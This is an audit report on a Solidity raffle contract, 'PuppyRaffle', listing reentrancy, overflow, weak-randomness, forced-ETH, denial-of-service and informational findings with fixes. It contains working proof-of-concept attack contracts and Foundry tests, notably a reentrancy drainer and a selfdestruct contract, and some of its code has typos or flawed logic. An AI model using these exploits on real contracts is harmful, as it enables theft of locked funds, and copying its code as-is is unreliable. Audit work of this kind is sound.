PuppyRaffle Audit Report

Version 1.0

Andrii Antonenko

March 27, 2024

PuppyRaffle Audit Report

Andrii Antonenko

March 27, 2024

Prepared by: Andrii Antonenko Lead Auditors:

- Andrii Antonenko

Table of Contents

    * H-4 Mishandling Of ETH in the function `PuppyRaffle::withdrawFees` could make impossible to ever execute this function and makes impossible to withdrawal fees
  - Medium
    * M-1 Looping through players array to check duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas cost for the future entrants
    * M-2 `PuppyRaffle::getActivePlayerIndex` returns the index of the first player for the addresses that are not in the `PuppyRaffle::getActivePlayerIndex` players array
    * M-3 Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contest
  - Informational
    * I-1 Solidity pragma should be specific, not wide
    * I-2 Using an outdated version of Solidity is not recommended.
    * I-3 Missing checks for `address(0)` when assigning values to address state variables
    * I-4 `PuppyRaffle::selectWinner` does not follow CEIm which is not a best practice.
    * I-5 Use of "magic" numbers is discouraged
    * I-6 `PuppyRaffle::_isActivePlayer` is never used and should be removed
  - Gas optimization
    * G-1 Unchanged state variables should be declared constant or immutable.
    * G-2 Storage variable in a loop should be cached

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The Andrii Antonenko team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Commit Hash:

```
e30d199697bbc822b646d76533b66b7d529b8ef5
```

Scope

```
src/
#-- PuppyRaffle.sol
```

Roles

- Owner: Deployer of the protocol, hash the power to change the wallet address to which fees are sent through the `changeFesAddress` function.

- Player: Participant of the raffle, has the power to enter the raffles with the `enterRaffle` function and refund values through `refund` function.

Executive Summary

I loved auditing this codebase. Great for beginners and contains a lot of classic issues.

Issues found

Severity	Number of issues found
High	4
Medium	3
Low	0
Info	6
Gas	2
Total	15

Findings

High

H-1 `PuppyRaffle::refund` function can be used for reentrancy attack and allows entrant to drain raffle balance

Description: The function `PuppyRaffle::refund` send locked player funds to the player back before changing the state. So, if the player is the contract with, `receive()` or `fallback()` function, it could recursively call the `PuppyRaffle::refund` method, until the balance of the `PuppyRaffle` will be zero.

Impact: Attacker could enter the raffle using smart contract address and by using classic reentrancy attack steel all funds, that has been locked on `PuppyRaffle`.

Proof of Concept:

Add this contract to the file with your tests `PuppyRaffleTest.t.sol`:

ReentrancyAttack smart contract

```
contract ReentracyAttack {
  PuppyRaffle private s_puppyRaffle;
  uint256 private s_entranceFee;
  address private s_attacker;

  constructor(PuppyRaffle puppyRaffle, uint256 entranceFee) {
    s_puppyRaffle = puppyRaffle;
    s_entranceFee = entranceFee;
    s_attacker = msg.sender;
  }

  function attack() payable public {
    require(msg.value == s_entranceFee, "Must send enough to enter
        raffle");
    require(msg.sender == s_attacker, "Only attacker can call this
        function");

    if (address(s_puppyRaffle).balance < s_entranceFee) {
      return;
    }

    address[] memory players = new address[](1);
    players[0] = address(this);
    s_puppyRaffle.enterRaffle{value: s_entranceFee}(players);

    uint256 indexOfPlayer = s_puppyRaffle.getActivePlayerIndex(address(
        this));
    s_puppyRaffle.refund(indexOfPlayer);
  }

  function withdraw() public {
    require(msg.sender == s_attacker, "Only attacker can call this
        function");
    payable(s_attacker).transfer(address(this).balance);
  }

  fallback() external payable {
    uint256 indexOfPlayer = s_puppyRaffle.getActivePlayerIndex(address(
        this));
    if (address(s_puppyRaffle).balance < s_entranceFee) {
      return;
    }
    s_puppyRaffle.refund(indexOfPlayer);
  }
}
```

After this add this test suite to the `PuppyRaffleTest.t.sol`:

PoC test suite

```
function test_RefundReentrancy() public {
  // 100 players enter the raffle
  address attacker = address(666);
  uint256 playersNum = 100;
  address[] memory players = new address[](playersNum);
  for (uint256 i = 0; i < playersNum; i++) {
      players[i] = address(uint160(i));
  }

  puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);

  // attacker has enough funds to enter the raffle
  vm.deal(attacker, entranceFee);
  uint256 attackerBalance = address(attacker).balance;

  // attacker starts the attack
  vm.startPrank(attacker);
  reentracyAttack = new ReentracyAttack(puppyRaffle, entranceFee);
  reentracyAttack.attack{value: entranceFee}();

  // attacker withdraws the stolen funds
  reentracyAttack.withdraw();
  vm.stopPrank();

  uint256 newAttackerBalance = address(attacker).balance;
  uint256 stolenFunds = newAttackerBalance - attackerBalance;

  console.log("stolenFunds: %d", stolenFunds);
  assert(stolenFunds == entranceFee * playersNum); // all funds was
      stolen
}
```

Run the following command in your shell:

```
forge test --match-test test_RefundReentrancy -vvv
```

And you will receive the output that will look like this:

```
Running 1 test for test/PuppyRaffleRefundReentracy.t.sol:
    PuppyRaffleRefundReentracyTest
[PASS] test_RefundReentrancy() (gas: 16864584)
Logs:
  stolenFunds: 100000000000000000000

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 35.15ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

Recommended Mitigation: There are a few recommendations.

1. Follow CEI (Checks, Effects, Interactions) pattern: call the `payable(msg.sender).`

`sendValue(entranceFee);` after updating the state:

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player
        can refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already
        refunded, or is not active");

-   payable(msg.sender).sendValue(entranceFee);

    players[playerIndex] = address(0);
+   emit RaffleRefunded(playerAddress);
+   payable(msg.sender).sendValue(entranceFee);
-   emit RaffleRefunded(playerAddress);
}
```

2. Inherit `PuppyRaffle` from the Openzeppelin::ReentrancyGuard contract and you `ReentrancyGuard::nonReentrant` modifier.

```
+ import {ReentrancyGuard} from "@openzeppelin/contracts/utils/
   ReentrancyGuard.sol";
.
.
.
- contract PuppyRaffle is ERC721, Ownable {
+ contract PuppyRaffle is ERC721, Ownable, ReentracyGuard {
.
.
.
- function refund(uint256 playerIndex) public {
+ function refund(uint256 playerIndex) public nonReentrant {
```

H-2 Calculations in the function `PuppyRaffle::selectWinner` could overflow and set the wrong value for the `PuppyRaffle::totalFees`

Description: Type of the storage variable `PuppyRaffle::totalFees` is `uint64`. In the function `PuppyRaffle::selectWinner` there is the line of code that calculates fee for the protocol:

```
uint256 fee = (totalAmountCollected * 20) / 100;
```

This fee has the type of `uint256`. In the next line of code this variable typecasts to `uint64` to be added to the `PuppyRaffle::totalFees`. This typecast can overflow.

Impact: Value of the `PuppyRaffle::totalFees` after execution of the `PuppyRaffle::selectWinner` select winner function will be wrong and not equal to the contract balance. It makes impossible to call `PuppyRaffle:withdrawFees` and some funds could be locked on the smart contract forever.

Proof of Concept: To the `test/PuppyRaffle.t.sol` add the following test:

```
function test_selectWinnerTotalFeesOverflow() public {
  // 500 players enter the raffle
  uint256 playersNum = 500;
  address[] memory players = new address[](playersNum);
  for (uint256 i = 0; i < playersNum; i++) {
    players[i] = address(uint160(i));
  }

  puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);

  uint256 requiredTimestamp = block.timestamp + duration;
  vm.warp(requiredTimestamp);

  uint256 totalAmountCollected = address(puppyRaffle).balance;
  uint256 expectedTotalFee = uint256(puppyRaffle.totalFees()) + ((
      totalAmountCollected * 20) / 100);

  puppyRaffle.selectWinner();
  // the real total fee is lower the expected because of the overflow
  assert(uint256(puppyRaffle.totalFees()) < expectedTotalFee);

  // unable to withdraw fees because of the overflow
  vm.expectRevert("PuppyRaffle: There are currently players active!");
  puppyRaffle.withdrawFees();
}
```

After this run the command below:

```
forge test --mt test_selectWinnerTotalFeesOverflow  -vvv
```

And your output will looks like that:

```
Running 1 test for test/ProofOfConcept.t.sol:
    PuppyRaffleProofOfConceptTest
[PASS] test_selectWinnerTotalFeesOverflow() (gas: 100511078)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 220.56ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

So, the `PuppyRaffle::totalFees` is wrong and it is impossible to withdraw money locked on the smart contract.

Recommended Mitigation: Consider changing the type of `PuppyRaffle::totalFees` storage variable from the `uint64` to `uint256`. 32-bytes slot should be big enough to store fee value. Also consider migration to newer version of solidity (`>=8.0.0`) that prevents overflowing by reverting automatically. And one more thing that could help to solve this issue is using `SafeMath` library of OpenZeppelin for version `0.7.6` solidity.

H-3 Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy

Description: Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable find number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the rarest puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. `block.difficulty` was recently replaced with prevrandao.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner.
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF.

H-4 Mishandling Of ETH in the function `PuppyRaffle::withdrawFees` could make impossible to ever execute this function and makes impossible to withdrawal fees

Description: In the function `PuppyRaffle::withdrawFees` we have the line of code that check that smart contract balance is equal to `PuppyRaffle::totalFees`:

```
function withdrawFees() external {
@>   require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
```

It is possible to anyone to change the balance of the contract from outside using `selfdestruct` function and passing the address of `PappyRaffle` as the parameter and break this condition forever.

Impact: It will be impossible to withdraw any fees from the protocol, so all funds will be locked on the smart contract forever.

Proof of Concept:

1. In the `test/PuppyRaffle.t.sol` file add the smart contract that could call `selfdestruct` :

```
contract SelfDestructor {
  PuppyRaffle private s_puppyRaffle;
  uint256 private s_entranceFee;
  address private s_attacker;

  constructor(PuppyRaffle puppyRaffle, uint256 entranceFee) {
    s_puppyRaffle = puppyRaffle;
    s_entranceFee = entranceFee;
    s_attacker = msg.sender;
  }

  function attack() payable public {
    require(msg.sender == s_attacker, "Only attacker can call this
        function");
    selfdestruct(payable(address(s_puppyRaffle)));
  }
}
```

2. Add the new test suite to the test file. In this test, the `attacker` deploy contract and sending `1 wei` while calling `attack` function. This function will increase the balance of `PuppyRaffle` contract, and it will never match the `PuppyRaffle::totalFees`

```
function test_MishandlingOfEthForWithdrawFee() public {
  // 10 players enter the raffle
  uint256 playersNum = 10;
  address[] memory players = new address[](playersNum);
  for (uint256 i = 0; i < playersNum; i++) {
    players[i] = address(uint160(i));
  }

  puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);

  uint256 requiredTimestamp = block.timestamp + duration;
  vm.warp(requiredTimestamp);

  puppyRaffle.selectWinner();


  address attacker = address(666);
  vm.deal(attacker, 1 wei);
  SelfDescructor selfdestructor = new SelfDescructor(puppyRaffle,
```

```
        entranceFee);
    selfdestructor.attack{value: 1 ether}();

    vm.expectRevert("PuppyRaffle: There are currently players active!");
    puppyRaffle.withdrawFees();
}
```

3. Then just execute this test, and it will pass

```
forge test --mt test_MishandlingOfEthForWithdrawFee -vvv
```

Medium

M-1 Looping through players array to check duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas cost for the future entrants

Description: The function `PuppyRaffle::enterRaffle` is looping thought the `PuppyRaffle::players` array to check for duplicates. However, the longer `PuppyRaffle::players` array is, the more checks a new players will have to make. This means the gas cost for the players who enter right when raffle starts will be dramatically lower than those who will enter later. Every additional address in the `PuppyRaffle::players` array is the additional check in the loop.

```
@>  for (uint256 i = 0; i < players.length - 1; i++) {
      for (uint256 j = i + 1; j < players.length; j++) {
        require(players[i] != players[j], "PuppyRaffle: Duplicate
            player");
      }
    }
```

Impact: The gas cost for raffle entrants will greatly increase as more players enter the raffle. An attacker might make the `PuppyRaffle::players` so big, that no one else enters, guarantees themselves to win.

Proof of Concept:

If we have to sets of 100 players the gas cost for the entrant will be as such: - 1st 100 players ~6252039 - 2nd 100 players ~18068129

This is more ~2.8 times more expensive.

PoC

Place the following test in the `test/PuppyRaffleTest.t.sol` file

```
  function test_DoS() public {
    vm.txGasPrice(1);
```

```

    uint256 playersNum = 100;
    address[] memory players = new address[](playersNum);
    for (uint256 i = 0; i < playersNum; i++) {
        players[i] = address(uint160(i));
    }

    uint256 gasStart = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
    uint256 gasEnd = gasleft();

    uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
    console.log("Gas used for 100 players enterRaffle: ", gasUsedFirst)
        ;

    // Now let's do this one more time

    address[] memory playersTwo = new address[](playersNum);
    for (uint256 i = 0; i < playersNum; i++) {
        playersTwo[i] = address(uint160(i + playersNum));
    }

    uint256 gasStartSecond = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(playersTwo
        );
    uint256 gasEndSecond = gasleft();

    uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.
        gasprice;

    console.log("Gas used for 100 players enterRaffle: ", gasUsedSecond
        );

    assert(gasUsedSecond > gasUsedFirst);
}
```

Run this test with the command below:

```
forge test --match-test test_DoS -vvv
```

And you will see the output that will look as such:

```
Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest
[PASS] test_DoS() (gas: 24357411)
Logs:
  Gas used for 100 players enterRaffle:  6252039
  Gas used for 100 players enterRaffle:  18068129

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 50.24ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

Recommended Mitigation: There are a few recommendations.

1. Consider allowing duplicates. Users can make a new wallets anyways, so duplicates doesn't prevent the same person from entering multiple times.
2. Consider using a mapping to check for duplicates. It will takes constant time lookup whether a user hash already entered.

```
+    mapping(address => uint256) public s_playerToRaffleId;
+    uint256 public s_raffleId = 1;
.
.
.
   function enterRaffle(address[] memory newPlayers) public payable {
     require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle");
     for (uint256 i = 0; i < newPlayers.length; i++) {
+      require(s_playerToRaffleId[newPlayers[i]] == raffleId, "PuppyRaffle: Duplicate player");
       players.push(newPlayers[i]);
+      s_playerToRaffleId[newPlayers[i]] = raffleId;
     }

-    // Check for duplicates
-    for (uint256 i = 0; i < players.length - 1; i++) {
-      for (uint256 j = i + 1; j < players.length; j++) {
-        require(players[i] != players[j], "PuppyRaffle: Duplicate player");
-      }
-    }
     emit RaffleEnter(newPlayers);
   }
.
.
.
   function selectWinner() external {
+    s_raffleId = s_raffleId + 1;
     require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
```

Also you can consider about using OpenZeppelin EnumerableSet library.

M-2 `PuppyRaffle::getActivePlayerIndex` returns the index of the first player for the addresses that are not in the `PuppyRaffle::getActivePlayerIndex` players array

Description: The function `PuppyRaffle::getActivePlayerIndex` accept `player` address as the parameter, loops through each element in the `PuppyRaffle::players` array, and if `player` match with some element in the the `PuppyRaffle::players` array, then it returns the index of this player. But if `player` is not in the `PuppyRaffle::players` array then it returns `0`. But `PuppyRaffle::players[0]` is the first player of the current raffle.

```
function getActivePlayerIndex(address player) external view returns (
    uint256) {
  for (uint256 i = 0; i < players.length; i++) {
    if (players[i] == player) {
      return i;
    }
  }

@>return 0;
}
```

Impact: This issues makes impossible to understand if the `player` equal to `PuppyRaffle::players[0]` and it is the first active player or this `player` is not participate in the raffle.

Recommended Mitigation: Consider some special number to be returned instead of `0`. It could be `-1` for example:

```
- function getActivePlayerIndex(address player) external view returns (
    uint256) {
+ function getActivePlayerIndex(address player) external view returns (
    int256) {
    for (uint256 i = 0; i < players.length; i++) {
      if (players[i] == player) {
-       return i;
+       return int256(i);
      }
    }

-   return 0;
+   return -1;
}
```

M-3 Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` could revert many times making a lottery reset difficult. Also, true winners would not get paid oUt and someone else could take their money.

Proof of Concept:

1. 10 smart contract wallets enters the lottery without a `fallback` or `receive` function.
2. The lottery ends.
3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: The are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout amounts so winners can pull their funds out themselves, putting the owens on the winner to claim their prize. (Recommended)

Informational

I-1 Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 2

```
pragma solidity ^0.7.6;
```

I-2 Using an outdated version of Solidity is not recommended.

Consider using newer version of the Solidity, like `0.8.18`. `solc` frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Please see the slither docs to read more details.

I-3 Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

- Found in src/PuppyRaffle.sol Line: 67

  ```
  feeAddress = _feeAddress;
  ```

- Found in src/PuppyRaffle.sol Line: 204

  ```
  previousWinner = winner;
  ```

- Found in src/PuppyRaffle.sol Line: 231

```
feeAddress = newFeeAddress;
```

I-4 `PuppyRaffle::selectWinner` does not follow CEIm which is not a best practice.

It's better to keep code clean and follow CEI (Checks, Effects, Interactions).

```
-        (bool success,) = winner.call{value: prizePool}("");
-        require(success, "PuppyRaffle: Faile d to send prize pool to
    winner");
         _safeMint(winner, tokenId);
+        (bool success,) = winner.call{value: prizePool}("");
+        require(success, "PuppyRaffle: Faile d to send prize pool to
    winner");
```

I-5 Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name

Examples:

```
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead you declare the constants:

```
uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE = 20;
uint256 public constant POOL_PRECISION = 100;
```

And then, use it in your calculations:

```
uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) /
    POOL_PRECISION;
uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / POOL_PRECISION;
```

I-6 `PuppyRaffle::_isActivePlayer` is never used and should be removed

The function `PuppyRaffle::_isActivePlayer` is `internal` and never used. But it still the part of the bytecode, we have to pay more for deployment.

Gas optimization

G-1 Unchanged state variables should be declared constant or immutable.

Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances: - `PuppyRaffle:raffleDuration` should be `immutable` - `PuppyRaffle:commonImageUri` should be `constant` - `PuppyRaffle:rareImageUri` should be `constant` - `PuppyRaffle:legendaryImageUri` should be `constant`

G-2 Storage variable in a loop should be cached

Every reading of `players.length` is the reading from storage. By caching this `length` in the memory you could safe a lot of gas.

```
+ uint256 length = players.length
- for (uint256 i = 0; i < players.length - 1; i++) {
+ for (uint256 i = 0; i < length - 1; i++) {
-   for (uint256 j = i + 1; j < players.length; j++) {
+   for (uint256 j = i + 1; j < length; j++) {
      require(players[i] != players[j], "PuppyRaffle: Duplicate player"
          );
    }
  }
```